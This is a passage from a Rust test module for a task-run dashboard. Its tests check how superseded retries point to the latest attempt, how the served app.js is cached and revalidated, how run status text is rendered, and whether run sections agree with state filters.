10001 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
10002 write_run(&runs, first, RunStatus::Stalled);
10003 write_run(&runs, second, RunStatus::Blocked);
10004
10005 let mut t = Task::new(
10006 "one task".to_owned(),
10007 "do it".to_owned(),
10008 PathBuf::from("/repo"),
10009 Source::Human,
10010 );
10011 t.runs = vec![first.to_owned(), second.to_owned()];
10012 q.put(&mut t).expect("put");
10013
10014 let rows = fx.get("/api/runs").await.json();
10018 let by = |short: &str| -> Value {
10019 rows.as_array()
10020 .unwrap()
10021 .iter()
10022 .find(|r| r["short"] == short)
10023 .cloned()
10024 .unwrap_or(Value::Null)
10025 };
10026 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
10027 assert!(
10028 by("bbbb")["superseded_by"].is_null(),
10029 "the latest attempt is not superseded by anything"
10030 );
10031 assert!(APP_JS.contains("run.superseded_by"));
10033 assert!(APP_JS.contains("Superseded by"));
10034 }
10035
10036 #[tokio::test]
10037 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
10038 let fx = Fixture::start().await;
10043 let q = fx.queue();
10044 let runs = fx.runs();
10045 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
10046 write_run(&runs, first, RunStatus::Blocked);
10047 write_run(&runs, second, RunStatus::Merged);
10048
10049 let mut t = Task::new(
10050 "one task".to_owned(),
10051 "do it".to_owned(),
10052 PathBuf::from("/repo"),
10053 Source::Human,
10054 );
10055 t.runs = vec![first.to_owned(), second.to_owned()];
10056 q.put(&mut t).expect("put");
10057
10058 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
10059 assert_eq!(earlier["superseded_by"], "dddd");
10060 assert_eq!(earlier["latest_attempt"]["id"], second);
10061 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
10062 assert_eq!(
10063 earlier["latest_attempt"]["resolved"], true,
10064 "the run that replaced it landed, so this one reads as settled"
10065 );
10066
10067 let later = fx.get(&format!("/api/runs/{second}")).await.json();
10068 assert!(
10069 later["superseded_by"].is_null(),
10070 "the latest attempt is not superseded by anything"
10071 );
10072 assert!(
10073 later["latest_attempt"].is_null(),
10074 "the latest attempt has no later attempt of its own"
10075 );
10076
10077 assert!(APP_JS.contains("run.latest_attempt"));
10084 assert!(APP_JS.contains("data-superseded"));
10085 assert!(APP_JS.contains("#/runs/${latest.id}"));
10086 }
10087
10088 #[tokio::test]
10089 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
10090 let fx = Fixture::start().await;
10096 let q = fx.queue();
10097 let runs = fx.runs();
10098 let (a, b, c) = (
10099 "20260901-000000-aaaa",
10100 "20260901-000000-bbbb",
10101 "20260901-000000-cccc",
10102 );
10103 write_run(&runs, a, RunStatus::Blocked);
10104 write_run(&runs, b, RunStatus::Blocked);
10105 write_run(&runs, c, RunStatus::Merged);
10106
10107 let mut t = Task::new(
10108 "retried twice".to_owned(),
10109 "do it".to_owned(),
10110 PathBuf::from("/repo"),
10111 Source::Human,
10112 );
10113 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
10114 q.put(&mut t).expect("put");
10115
10116 let view = fx.get(&format!("/api/runs/{a}")).await.json();
10117 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
10118 assert_eq!(
10119 view["latest_attempt"]["id"], c,
10120 "the chain's current head, not the intermediate Blocked retry"
10121 );
10122 assert_eq!(view["latest_attempt"]["resolved"], true);
10123
10124 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
10125 assert_eq!(mid["latest_attempt"]["id"], c);
10126 assert_eq!(mid["latest_attempt"]["resolved"], true);
10127 }
10128
10129 #[tokio::test]
10130 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
10131 let fx = Fixture::start().await;
10132 let q = fx.queue();
10133 let runs = fx.runs();
10134
10135 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
10138 write_run(&runs, still_blocked_a, RunStatus::Blocked);
10139 write_run(&runs, still_blocked_b, RunStatus::Blocked);
10140 let mut t1 = Task::new(
10141 "still stuck".to_owned(),
10142 "do it".to_owned(),
10143 PathBuf::from("/repo"),
10144 Source::Human,
10145 );
10146 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
10147 q.put(&mut t1).expect("put");
10148 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
10149 assert_eq!(view1["latest_attempt"]["resolved"], false);
10150
10151 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
10156 write_run(&runs, noop_a, RunStatus::Blocked);
10157 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
10158 let mut t2 = Task::new(
10159 "claims done".to_owned(),
10160 "do it".to_owned(),
10161 PathBuf::from("/repo"),
10162 Source::Human,
10163 );
10164 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
10165 q.put(&mut t2).expect("put");
10166 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
10167 assert_eq!(
10168 view2["latest_attempt"]["resolved"], false,
10169 "an unverified no-op claim must not read as a confirmed finish"
10170 );
10171
10172 assert!(APP_JS.contains("latest.resolved"));
10175 }
10176
10177 #[tokio::test]
10178 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
10179 let fx = Fixture::start().await;
10180 let js = fx.get("/app.js").await;
10186 assert_eq!(js.status, 200);
10187 let tag = js
10188 .header("etag")
10189 .expect("an etag to revalidate against")
10190 .to_owned();
10191 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
10192 assert_eq!(
10193 js.header("cache-control"),
10194 Some("no-cache, must-revalidate"),
10195 "the phone has to ask every time"
10196 );
10197
10198 let again = fx
10201 .get_with("/app.js", &[("if-none-match", tag.as_str())])
10202 .await;
10203 assert_eq!(
10204 again.status, 304,
10205 "a deck it already has costs one round trip"
10206 );
10207 assert!(again.body.is_empty(), "304 carries no body");
10208
10209 let weak = fx
10212 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
10213 .await;
10214 assert_eq!(weak.status, 304);
10215 let stale = fx
10216 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
10217 .await;
10218 assert_eq!(stale.status, 200, "an older build must be replaced");
10219 assert!(stale.body.contains("renderRunActions"));
10220 }
10221
10222 #[test]
10223 fn the_deck_never_sends_the_operator_to_a_terminal() {
10224 assert!(
10227 !APP_JS.contains("Run `magi fold` first"),
10228 "the deck must offer the fold, not prescribe a shell command"
10229 );
10230 assert!(APP_JS.contains("foldRun:"));
10231 assert!(APP_JS.contains("resumeRun:"));
10232 assert!(APP_JS.contains("renderRunActions"));
10233
10234 assert!(APP_JS.contains("armedFold"));
10236 assert!(APP_JS.contains("Yes, fold worktrees"));
10237
10238 assert!(APP_JS.contains("can no longer be resumed"));
10241 }
10242
10243 #[test]
10244 fn a_finished_run_explains_itself_with_its_own_last_line() {
10245 assert!(
10251 !APP_JS.contains("collapsed on agent quota"),
10252 "a stall must not be explained by a cause the deck did not check"
10253 );
10254 assert!(
10255 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
10256 "and a block must not offer a guess with an `or` in it"
10257 );
10258
10259 assert!(
10263 APP_JS.contains("setText(r.event, run.event || \"\")"),
10264 "the run's last line is rendered unconditionally"
10265 );
10266 assert!(
10267 !APP_JS.contains("moving && run.event"),
10268 "and never gated on the run still moving"
10269 );
10270
10271 assert!(APP_JS.contains("lost to quota"));
10273 }
10274
10275 #[test]
10297 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
10298 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
10299 let shapes_body_start =
10300 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
10301 let shapes_close = APP_JS[shapes_body_start..]
10302 .find("].map(")
10303 .expect("the shape list is closed by its done-computing .map(...)")
10304 + shapes_body_start;
10305 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
10306
10307 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
10308 for entry in shapes_src.split('{').skip(1) {
10309 let waiting = entry.contains("waiting: true");
10310 let dead = entry.contains("live: \"dead\"");
10311 let status_at =
10312 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
10313 let status_end = entry[status_at..]
10314 .find('"')
10315 .expect("the status string is closed")
10316 + status_at;
10317 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
10318 }
10319 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
10320
10321 let done_rule_marker = "done: !";
10325 let done_rule_at = APP_JS[shapes_close..]
10326 .find(done_rule_marker)
10327 .expect("the done rule follows the shape list")
10328 + shapes_close
10329 + done_rule_marker.len();
10330 let includes_at = APP_JS[done_rule_at..]
10331 .find(".includes(shape.status)")
10332 .expect("the done rule ends in .includes(shape.status)")
10333 + done_rule_at;
10334 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
10335 .trim()
10336 .trim_start_matches('[')
10337 .trim_end_matches(']')
10338 .split(',')
10339 .map(|s| s.trim().trim_matches('"'))
10340 .filter(|s| !s.is_empty())
10341 .collect();
10342
10343 let shapes: Vec<(bool, String, bool, bool)> = shapes
10344 .into_iter()
10345 .map(|(waiting, status, dead)| {
10346 let done = !not_done.contains(&status.as_str());
10347 (waiting, status, dead, done)
10348 })
10349 .collect();
10350
10351 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
10355 if waiting {
10356 return "waiting";
10357 }
10358 if dead
10359 && !matches!(
10360 status,
10361 "merged"
10362 | "ready"
10363 | "stalled"
10364 | "blocked"
10365 | "failed"
10366 | "verified_noop"
10367 | "superseded"
10368 )
10369 {
10370 return "stale";
10371 }
10372 match status {
10373 "merged" | "ready" => "landed",
10374 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded" => "ended",
10375 _ => "flight",
10376 }
10377 }
10378
10379 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
10382 match filter_key {
10383 "active" => !done,
10384 "flight" => !done && !waiting && !dead,
10385 "stale" => !done && !waiting && dead,
10386 "waiting" => waiting,
10387 "done" => done,
10388 "all" => true,
10389 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
10390 }
10391 }
10392
10393 let compatible = |section: &str, filter_key: &str| {
10394 shapes.iter().any(|(waiting, status, dead, done)| {
10395 run_section(*waiting, status, *dead) == section
10396 && filter_matches(filter_key, *waiting, *dead, *done)
10397 })
10398 };
10399
10400 let expected = [
10405 ("waiting", [true, false, false, true, true, true]),
10406 ("stale", [true, false, true, false, false, true]),
10407 ("flight", [true, true, false, false, false, true]),
10408 ("landed", [false, false, false, false, true, true]),
10409 ("ended", [false, false, false, false, true, true]),
10410 ];
10411 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
10412
10413 for (section, wants) in expected {
10414 for (filter_key, want) in filter_keys.iter().zip(wants) {
10415 assert_eq!(
10416 compatible(section, filter_key),
10417 want,
10418 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
10419 );
10420 }
10421 }
10422
10423 assert!(
10426 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
10427 );
10428 assert!(APP_JS.contains(
10429 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
10430 ));
10431 assert!(APP_JS.contains(
10432 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
10433 ));
10434 }
10435
10436 #[tokio::test]
10437 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
10438 let dir = tempfile::tempdir().expect("tempdir");
10442 let explicit = dir.path().join("not-a-checkout");
10443 std::fs::create_dir_all(&explicit).expect("create dir");
10444 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
10445
10446 let missing = dir.path().join("does-not-exist-at-all");
10447 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
10448 }
10449}